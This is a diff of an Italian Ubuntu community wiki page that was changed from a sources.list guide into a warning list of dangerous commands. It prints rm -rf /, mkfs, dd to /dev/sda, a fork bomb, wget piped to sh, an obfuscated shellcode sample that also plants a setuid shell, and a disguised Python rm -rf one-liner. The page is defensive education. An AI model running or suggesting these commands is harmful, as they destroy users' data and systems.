Dimensione: 10522
Commento:
|
Dimensione: 8512
Commento:
|
Le cancellazioni sono segnalate in questo modo. | Le aggiunte sono segnalate in questo modo. |
Linea 1: | Linea 1: |
## page was renamed from ComandiDannosi | |
Linea 4: | Linea 5: |
<<Indice(depth=1)>> <<Informazioni(forum="http://forum.ubuntu-it.org/viewtopic.php?t=431132")>> |
<<Indice(width=2)>> <<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>> |
Linea 9: | Linea 10: |
Questa pagina descrive come gestire i repository da riga di comando tramite l'utilizzo di un qualsiasi [[Ufficio/EditorDiTesto|editor di testo]], al posto dell' interfaccia grafica. Queste informazioni si rivelano utili dato che funzionano in tutte le versioni di '''Ubuntu'''. | A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi. |
Linea 11: | Linea 12: |
Se invece si desidera utilizzare gli strumenti a disposizione della propria distribuzione si consiglia di leggere le seguenti guide: | Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host''). |
Linea 13: | Linea 14: |
* [[Repository/Ubuntu|Gestire i repository con Ubuntu]] * [[Repository/Kubuntu|Gestire i repository con Kubuntu]]. |
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || |
Linea 16: | Linea 16: |
= Informazioni preliminari = | ||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' || |
Linea 18: | Linea 18: |
[[AmministrazioneSistema/InstallareProgrammi/Apt|Apt]] è il programma che gestisce l'installazione dei pacchetti e la lista dei repository. Il file che contiene tale elenco è: {{{ /etc/apt/sources.list |
= Comandi da terminale = <<Anchor(rm)>> == Rimozione: rm == * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{ rm -rf / rm -rf . rm -rf * |
Linea 22: | Linea 29: |
e tramite la modifica di suddetto file è possibile aggiungere, rimuovere o disabilitare i repository. | ||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/note.png,,center)>> ||<style="padding:0.5em; border:none;">''Da alcuni anni, è attiva una protezione contro questo comando eseguito nella cartella di root. Tuttavia questa limitazione è aggirabile tramite il parametro `--no-preserve-root`.'' || |
Linea 24: | Linea 31: |
Anche se '''Ubuntu''' conserva di default una copia del file `sources.list` è buona norma creare una copia di backup del file prima di modificarlo, in modo tale da poterlo ripristinare in caso di insuccesso. | * Il seguente comando è da considerarsi molto pericoloso poiché, digitato con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], esegue la cancellazione di tutto il contenuto della '''root''' di sistema: {{{ rm -rf /* }}} Tale cancellazione elimina non solo l'intero filesystem, ma anche tutto ciò che è presente in eventuali dispositivi esterni collegati e montati, inclusi quelli ad esempio presenti nella cartella `/media/` (altre partizioni, chiavette USB, hard disk esterni, schede SD ecc.). |
Linea 26: | Linea 36: |
Per creare una copia di backup del proprio file `sources.list` digitare il seguente comando in una finestra di [[AmministrazioneSistema/RigaDiComando|terminale]]:{{{ sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup |
* Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{ rm -r .* }}} potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{ rm -r .[^.]* |
Linea 30: | Linea 45: |
= Descrizione del file sources.list = | <<Anchor(mkfs)>> == Formattazione: mkfs == |
Linea 32: | Linea 48: |
Per controllare la validità del proprio file `sources.list` è possibile prenderne visione col seguente comando, senza modificare nulla: {{{ cat /etc/apt/sources.list }}} il contenuto dovrebbe essere simile a questo: {{{ deb http://it.archive.ubuntu.com/ubuntu/ xenial main restricted deb-src http://archive.ubuntu.com/ubuntu xenial main restricted #Added by software-properties |
Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. |
Linea 39: | Linea 50: |
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to # newer versions of the distribution. deb http://it.archive.ubuntu.com/ubuntu/ xenial main restricted deb-src http://it.archive.ubuntu.com/ubuntu/ xenial restricted main multiverse universe #Added by software-properties |
Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). |
Linea 44: | Linea 52: |
## Major bug fix updates produced after the final release of the ## distribution. deb http://it.archive.ubuntu.com/ubuntu/ xenial-updates main restricted deb-src http://it.archive.ubuntu.com/ubuntu/ xenial-updates restricted main multiverse universe #Added by software-properties ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team. Also, please note that software in universe WILL NOT receive any ## review or updates from the Ubuntu security team. deb http://it.archive.ubuntu.com/ubuntu/ xenial universe deb http://it.archive.ubuntu.com/ubuntu/ xenial-updates universe ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## multiverse WILL NOT receive any review or updates from the Ubuntu ## security team. deb http://it.archive.ubuntu.com/ubuntu/ xenial multiverse deb http://it.archive.ubuntu.com/ubuntu/ xenial-updates multiverse ## N.B. software from this repository may not have been tested as ## extensively as that contained in the main release, although it includes ## newer versions of some applications which may provide useful features. ## Also, please note that software in backports WILL NOT receive any review ## or updates from the Ubuntu security team. deb http://security.ubuntu.com/ubuntu xenial-security main restricted deb-src http://security.ubuntu.com/ubuntu xenial-security restricted main multiverse universe #Added by software-properties deb http://security.ubuntu.com/ubuntu xenial-security universe deb http://security.ubuntu.com/ubuntu xenial-security multiverse ## Uncomment the following two lines to add software from Canonical's ## 'partner' repository. ## This software is not part of Ubuntu, but is offered by Canonical and the ## respective vendors as a service to Ubuntu users. deb http://archive.canonical.com/ubuntu xenial partner deb-src http://archive.canonical.com/ubuntu xenial partner ## This software is not part of Ubuntu, but is offered by third-party ## developers who want to ship their latest software. deb http://extras.ubuntu.com/ubuntu xenial main deb-src http://extras.ubuntu.com/ubuntu xenial main |
{{{ mkfs mkfs.ext4 mkfs.ext4 /dev/sda1 |
Linea 86: | Linea 58: |
Tutte le righe che iniziano con uno o due caratteri hash «#» sono commenti e servono esclusivamente per fornire informazioni all'utente. Non influiscono in alcun modo sull'operato del proprio gestore di pacchetti. | <<Anchor(dd)>> == Copia di blocchi di dati: dd == |
Linea 88: | Linea 61: |
I repository invece vengono indicati con la seguente struttura: {{{ tipo posizione componenti |
Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione: * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati); * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali. <<Anchor(fork)>> == Utilizzo sconsiderato di fork() == L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{ :(){:|&};: }}} oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{ fork while fork |
Linea 92: | Linea 80: |
* '''Tipo''', può essere: | <<Anchor(script)>> == Esecuzione script == |
Linea 94: | Linea 83: |
* '''deb''': questi repository contengono pacchetti binari o precompilati. Sono quelli indicati per la maggior parte degli utenti. * '''deb-src''': questi repository contengono il codice sorgente dei pacchetti. Utili agli sviluppatori. |
L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. |
Linea 97: | Linea 85: |
* '''Posizione''': è l'indirizzo a cui è reperibile il server o il supporto che ospita i pacchetti, ad esempio: '''http://it.archive.ubuntu.com/ubuntu/''': l' '''URI''' (Uniform Resource Indentifier), in questo caso una posizione su internet. * '''Componenti''': possono essere diversi, e vanno separati l'uno dall'altro da uno spazio, ad esempio: {{{ main universe multiverse |
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ wget http://sito_internet/prova.sh sh ./prova.sh }}} {{{ wget http://sito_internet/prova.sh -O- | sh |
Linea 105: | Linea 92: |
* Può inoltre essere presente l'identificativo del rilascio Ubuntu per cui i pacchetti sono preparati, come ad esempio nel file sopraccitato '''xenial''', ma questa indicazione può mancare in alcuni repository non ufficiali. | <<Anchor(sorgente)>> = Compilazione codice sorgente = |
Linea 107: | Linea 95: |
= Abilitare i repository = | È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). |
Linea 109: | Linea 97: |
Per abilitare un repository procedere come segue: * Aprire con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] il file `/etc/apt/sources.list`e cancellare il simbolo hash «#» davanti alla riga di interesse. * Salvare quindi la modifica ed aggiornare l'elenco pacchetti digitando il seguente comando in una finestra di [[AmministrazioneSistema/RigaDiComando|terminale]]: {{{ sudo apt-get update }}} se non si ricevono errori l'operazione è andata a buon fine, in alternativa è possibile ripristinare il vecchio file copiando il backup precedentemente creato digitando il seguente comando: {{{ sudo cp /etc/apt/sources.list.backup /etc/apt/sources.list sudo apt-get update |
Un esempio di codice pericoloso è il seguente: {{{ char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; |
Linea 121: | Linea 111: |
||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">Se si desidera abilitare solo un componente di quelli presenti nella riga interessata è possibile farlo copiando la riga omettendo il componente indesiderato. || | Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{ rm -rf ~ / & }}} che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato. |
Linea 123: | Linea 116: |
= Aggiungere altri repository = | = Archivi = Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] come i file `.tar` possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato in [[AmministrazioneSistema/FormatiDiCompressione#tar|questo paragrafo]]. |
Linea 125: | Linea 119: |
||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Possono esserci diverse ragioni per aggiungere dei repository non ufficiali alla propria lista, come ad esempio, la necessità di software aggiornato o vincolato da licenze o brevetti ([[Multimedia/FormatiProprietari|FormatiProprietari]]), tuttavia si consiglia di prestare la massima attenzione nella scelta di repository affidabili e compatibili pena il rischio di compromettere il proprio sistema operativo.''' || | = Altri esempi = L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{ python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' }}} Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]]. |
Linea 127: | Linea 125: |
Per aggiungere un repository aprire con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] il file `/etc/apt/sources.list`, inserire a fondo pagina il repository desiderato, salvare il file appena modificato e aggiornare la lista digitando il seguente comando: {{{ sudo apt-get update }}} == Aggiungere repository launchpad == Se il repository si trova su [[https://launchpad.net/|launchpad]] è possibile aggiungerlo automaticamente con il seguente comando: {{{ sudo add-apt-repository ppa:utente/nome-ppa }}} inserendo il nome del profilo launchpad del manutentore del repository al posto di «utente» e il nome del repository al posto di «nome-ppa». = Abilitare automaticamente tutti i repositori = ||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Questo comando è destinato all'utilizzo di utenti esperti in quanto potrebbe rendere inutilizzabile il proprio file `sources.list` in caso di repository doppi.''' || È possibile abilitare automaticamente tutti i repository presenti nel `sources.list` togliendo tutti i caratteri hash «#» seguiti dal termine «deb» digitando: {{{ sudo sed -i -e "s/# deb/deb/g" /etc/apt/sources.list }}} e aggiornare quindi la lista dei pacchetti: {{{ sudo apt-get update }}} = Gestire le chiavi GPG = Le chiavi di autenticazione sono fornite dal manutentore del repository. Solitamente vengono pubblicate all'interno di un server pubblico per la gestione delle chiavi come `www.keyserver.net`. Può accadere che l'azione di aggiornamento della lista pacchetti eseguita con il comando: {{{ sudo apt-get update }}} restituisca un errore simile a questo: {{{ W: Errore GPG: http://xxxxxx.xxxxxx.xx xxxx Release: Le seguenti firme non sono state verificate perché la chiave pubblica non è disponibile: NO_PUBKEY XYXYXYXYXYXYXY W: È consigliabile eseguire apt-get update per correggere questi problemi }}} In questo caso, è necessario aggiungere delle chiavi di sicurezza del repository indicato dall'errore. Digitare il seguente comando in una finestra di terminale: {{{ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com CHIAVE }}} sostituendo alla dicitura CHIAVE il numero della chiave pubblica che compare nell'errore. Infine controllare che l'inserimento della chiave sia avvenuto correttamente, digitando il seguente comando in una finestra di terminale:{{{ sudo apt-get update }}} |
<<Anchor(risorse)>> |
Linea 173: | Linea 127: |
* [[http://www.debian.org/doc/manuals/apt-howto/index.en.html|Manuale Debian di apt]] * [[AmministrazioneSistema/InstallareProgrammi/Apt|Guida a apt-get]] * [[AmministrazioneSistema/InstallareProgrammi/Aptitude|Guida a aptitude]] * [[AmministrazioneSistema/InstallareProgrammi|Guida all'installazione dei programmi]] * [[Repository/SourcesList|/etc/apt/sources.list ottimizzato]] |
* [[AmministrazioneSistema/Terminale|Terminale]] * [[AmministrazioneSistema/ComandiBase|Comandi di base]] * [[AmministrazioneSistema/Filesystem|Filesystem]] * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]] * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]] |
Linea 181: | Linea 134: |
CategoryAmministrazione | CategoryHomepage |
Problemi in questa pagina? Segnalali in questa discussione
Introduzione
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.
Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito.
Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di macchine virtuali (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi guest e host).
In caso di dubbi consultare le guide elencate nel paragrafo Ulteriori Risorse, oppure rivolgersi ai canali di supporto. |
Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei canali di supporto comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account. |
Comandi da terminale
Rimozione: rm
I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente:
rm -rf / rm -rf . rm -rf *
Il seguente comando è da considerarsi molto pericoloso poiché, digitato con i privilegi di amministrazione, esegue la cancellazione di tutto il contenuto della root di sistema:
rm -rf /*
Tale cancellazione elimina non solo l'intero filesystem, ma anche tutto ciò che è presente in eventuali dispositivi esterni collegati e montati, inclusi quelli ad esempio presenti nella cartella /media/ (altre partizioni, chiavette USB, hard disk esterni, schede SD ecc.).
Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «.», ovvero un punto) il comando
rm -r .*
potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza .. che si riferisce alla cartella di livello superiore.
Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente:
rm -r .[^.]*
Formattazione: mkfs
Il comando mkfs viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo filesystem.
Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem ext4, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo /dev/sda1).
mkfs mkfs.ext4 mkfs.ext4 /dev/sda1
Copia di blocchi di dati: dd
Utilizzando il comando dd con i privilegi di amministrazione e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'MBR).
Ad esempio, dove i parametri if e of rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
dd if=/dev/zero of=/dev/sda: riempie il dispositivo con una sequenza di zeri;
dd if=/dev/null of=/dev/sda: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
dd if=/dev/random of=/dev/sda: riempie il dispositivo con una sequenza di dati casuali.
Utilizzo sconsiderato di fork()
L'utilizzo del comando di sistema fork permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.
Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono:
:(){:|&};:
oppure (utilizzando il linguaggio di programmazione perl):
fork while fork
Esecuzione script
L'esecuzione di script all'interno di un terminale può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «prova.sh» da un ipotetico indirizzo «http://sito_internet»:
wget http://sito_internet/prova.sh sh ./prova.sh
wget http://sito_internet/prova.sh -O- | sh
Compilazione codice sorgente
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno di sorgenti di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali Launchpad, SourceForge, GitHub ecc.).
Un esempio di codice pericoloso è il seguente:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Apparso all'interno di una mailing list come dimostrazione di exploit da eseguire con i privilegi di amministrazione, l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando
rm -rf ~ / &
che distrugge la cartella Home dell'utente che ha esegue il codice compilato.
Archivi
Alcuni archivi come i file .tar possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato in questo paragrafo.
Altri esempi
L'esecuzione del seguente comando in Python per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
Infatti la sintassi "sn!.sg!+" sta ad indicare rm -rf *, comando a cui è dedicato il relativo paragrafo.